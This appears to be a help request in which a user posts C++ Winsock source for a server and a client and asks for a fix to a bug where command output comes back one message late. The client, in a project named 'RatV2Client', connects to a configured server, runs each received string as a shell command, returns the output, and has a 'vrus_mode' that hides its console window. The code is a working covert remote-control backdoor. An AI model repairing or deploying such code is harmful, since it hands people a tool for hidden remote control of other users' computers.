server code:
#define _WINSOCK_DEPRECATED_NO_WARNINGS // Suppress deprecated functions warnings

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>

// Link with the Ws2_32.lib library
#pragma comment(lib, "Ws2_32.lib")

const int DEFAULT_PORT = 8080;

int main() {
    WSADATA wsaData;

    // Initialize Winsock
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        std::cerr << "WSAStartup failed with error: " << iResult << std::endl;
        return 1;
    }

    SOCKET ListenSocket = INVALID_SOCKET;
    SOCKET ClientSocket = INVALID_SOCKET;

    struct addrinfo* result = NULL;
    struct addrinfo hints;

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    hints.ai_flags = AI_PASSIVE;

    // Resolve the server address and port
    iResult = getaddrinfo(NULL, std::to_string(DEFAULT_PORT).c_str(), &hints, &result);
    if (iResult != 0) {
        std::cerr << "getaddrinfo failed with error: " << iResult << std::endl;
        WSACleanup();
        return 1;
    }

    // Create a SOCKET to listen for incoming connections
    ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
    if (ListenSocket == INVALID_SOCKET) {
        std::cerr << "socket failed with error: " << WSAGetLastError() << std::endl;
        freeaddrinfo(result);
        WSACleanup();
        return 1;
    }

    // Setup the TCP listening socket
    iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
    if (iResult == SOCKET_ERROR) {
        std::cerr << "bind failed with error: " << WSAGetLastError() << std::endl;
        freeaddrinfo(result);
        closesocket(ListenSocket);
        WSACleanup();
        return 1;
    }

    freeaddrinfo(result);

    iResult = listen(ListenSocket, SOMAXCONN);
    if (iResult == SOCKET_ERROR) {
        std::cerr << "listen failed with error: " << WSAGetLastError() << std::endl;
        closesocket(ListenSocket);
        WSACleanup();
        return 1;
    }

    // Accept a client socket
    ClientSocket = accept(ListenSocket, NULL, NULL);
    if (ClientSocket == INVALID_SOCKET) {
        std::cerr << "accept failed with error: " << WSAGetLastError() << std::endl;
        closesocket(ListenSocket);
        WSACleanup();
        return 1;
    }

    std::cout << "Client connected" << std::endl;

    // No longer need server socket
    closesocket(ListenSocket);

    const int buf_len = 512;
    char recvbuf[buf_len];

    while (true) {
        std::string message;
        std::cout << "Enter message to send to client: ";
        std::getline(std::cin, message);

        // Exit condition
        if (message == "exit") {
            break;
        }

        // Send the message
        iResult = send(ClientSocket, message.c_str(), message.length(), 0);
        if (iResult == SOCKET_ERROR) {
            std::cerr << "send failed with error: " << WSAGetLastError() << std::endl;
            closesocket(ClientSocket);
            WSACleanup();
            return 1;
        }

        // Clear the result for the new response
        std::string result;

        // Receive results from client
        int totalBytesReceived = 0;
        int bytesReceived;

        do {
            bytesReceived = recv(ClientSocket, recvbuf, buf_len, 0);
            if (bytesReceived > 0) {
                totalBytesReceived += bytesReceived;
                result.append(recvbuf, bytesReceived);

                // Log received part
                std::cout << "Bytes received: " << bytesReceived << std::endl;
            }
            else if (bytesReceived == 0) {
                std::cout << "Connection closed by client." << std::endl;
                break;
            }
            else {
                std::cerr << "recv failed with error: " << WSAGetLastError() << std::endl;
                closesocket(ClientSocket);
                WSACleanup();
                return 1;
            }
        } while (bytesReceived == buf_len); // Continue receiving while buffer is full

        // Display full response
        std::cout << "Client result : \n" << result << std::endl;
    }

    // Shutdown the connection since we’re done
    iResult = shutdown(ClientSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        std::cerr << "shutdown failed with error: " << WSAGetLastError() << std::endl;
        closesocket(ClientSocket);
        WSACleanup();
        return 1;
    }

    // Cleanup
    closesocket(ClientSocket);
    WSACleanup();

    return 0;
}

client code:
#define _WINSOCK_DEPRECATED_NO_WARNINGS // Suppress deprecated functions warnings

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
#include <array>
#include <windows.h>

// Link with the Ws2_32.lib library
#pragma comment(lib, "Ws2_32.lib")

// CONFIG //
const char* DEFAULT_IP = "127.0.0.1";
const int DEFAULT_PORT = 8080;
const bool vrus_mode = false;
////////////

// Function to execute a command and capture the output
std::string execCommand(const char* cmd) {
    std::array<char, 128> buffer;
    std::string result;
    FILE* pipe = _popen(cmd, "r");
    if (!pipe) {
        return "popen failed!";
    }
    try {
        while (fgets(buffer.data(), buffer.size(), pipe) != nullptr) {
            result += buffer.data();
        }
    }
    catch (...) {
        _pclose(pipe);
        return "Execution error!";
    }
    _pclose(pipe);
    return result;
}

int main() {
    if (vrus_mode) {
        HWND hwnd = GetConsoleWindow();
        ShowWindow(hwnd, 0);
    }

    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct sockaddr_in clientService;

    // Initialize Winsock
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        if (!vrus_mode) std::cerr << "WSAStartup failed with error: " << iResult << std::endl;
        return 1;
    }

    // Create a SOCKET for connecting to server
    ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ConnectSocket == INVALID_SOCKET) {
        if (!vrus_mode) std::cerr << "socket failed with error: " << WSAGetLastError() << std::endl;
        WSACleanup();
        return 1;
    }

    // Setup the sockaddr_in structure with the server address and port
    clientService.sin_family = AF_INET;
    clientService.sin_port = htons(DEFAULT_PORT);
    inet_pton(AF_INET, DEFAULT_IP, &clientService.sin_addr);

    // Connect to server
    iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
    if (iResult == SOCKET_ERROR) {
        if (!vrus_mode) std::cerr << "connect failed with error: " << WSAGetLastError() << std::endl;
        closesocket(ConnectSocket);
        WSACleanup();
        return 1;
    }

    if (!vrus_mode) std::cout << "Connected to server." << std::endl;

    const int sendbuflen = 512;
    char recvbuf[sendbuflen];
    int recvbuflen = sendbuflen;
    std::string result;
    std::string errstr = "не является внутренней или внешней командой, исполняемой программой или пакетным файлом.";
    std::string failedstr = "Unknown command!";
    while (true) {
        // Clear the buffer before receiving new data
        memset(recvbuf, 0, recvbuflen);

        // Receive command from server
        iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
        if (iResult > 0) {
            std::string command(recvbuf, iResult);
            if (!vrus_mode) std::cout << "Server command: " << command << std::endl;

            // Execute the command
            result = execCommand(command.c_str());
            size_t err = result.find(errstr);
            if (err == std::string::npos) {
                std::cout << "OoOoPs\n\n";
                iResult = send(ConnectSocket, failedstr.c_str(), failedstr.length(), 0);
                if (iResult == SOCKET_ERROR) {
                    std::cerr << "send failed with error: " << WSAGetLastError() << std::endl;
                    closesocket(ConnectSocket);
                    WSACleanup();
                    return 1;
                }
            }

            // Send the result back to the server
            iResult = send(ConnectSocket, result.c_str(), result.length(), 0);
            if (iResult == SOCKET_ERROR) {
                std::cerr << "send failed with error: " << WSAGetLastError() << std::endl;
                closesocket(ConnectSocket);
                WSACleanup();
                return 1;
            }
        }
        else if (iResult == 0) {
            if (!vrus_mode) std::cout << "Connection closed." << std::endl;
            break;
        }
        else {
            std::cerr << "recv failed with error: " << WSAGetLastError() << std::endl;
            closesocket(ConnectSocket);
            WSACleanup();
            return 1;
        }
    }

    // Cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return 0;
}


why do I write a command the first time, it is not recognized, I write any text a second time and it is displayed?

server log:
Client connected
Enter message to send to client: echo lol
Bytes received: 16
Client result :
Unknown command!
Enter message to send to client: asd
Bytes received: 4
Client result :
lol

Enter message to send to client: ads
Bytes received: 16
Client result :
Unknown command!
Enter message to send to client: dir
Bytes received: 16
Client result :
Unknown command!
Enter message to send to client: asd
Bytes received: 440
Client result :
Unknown command! Том в устройстве C не имеет метки.
 Серийный номер тома: 06FE-65B4

 Содержимое папки C:\Users\RobotComp.ru\source\repos\RatV2Client\x64\Debug

03.08.2024  15:51    <DIR>          .
03.08.2024  15:51    <DIR>          ..
03.08.2024  16:09           105 984 RatV2Client.exe
03.08.2024  16:09         1 871 872 RatV2Client.pdb
               2 файлов      1 977 856 байт
               2 папок  687 689 682 944 байт свободно

Enter message to send to client:
client log:
Connected to server.
Server command: echo lol
OoOoPs

Server command: asd
"asd" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
OoOoPs

Server command: ads
"ads" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
OoOoPs

Server command: dir
OoOoPs

Server command: asd
"asd" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
OoOoPs

fix this, i use c++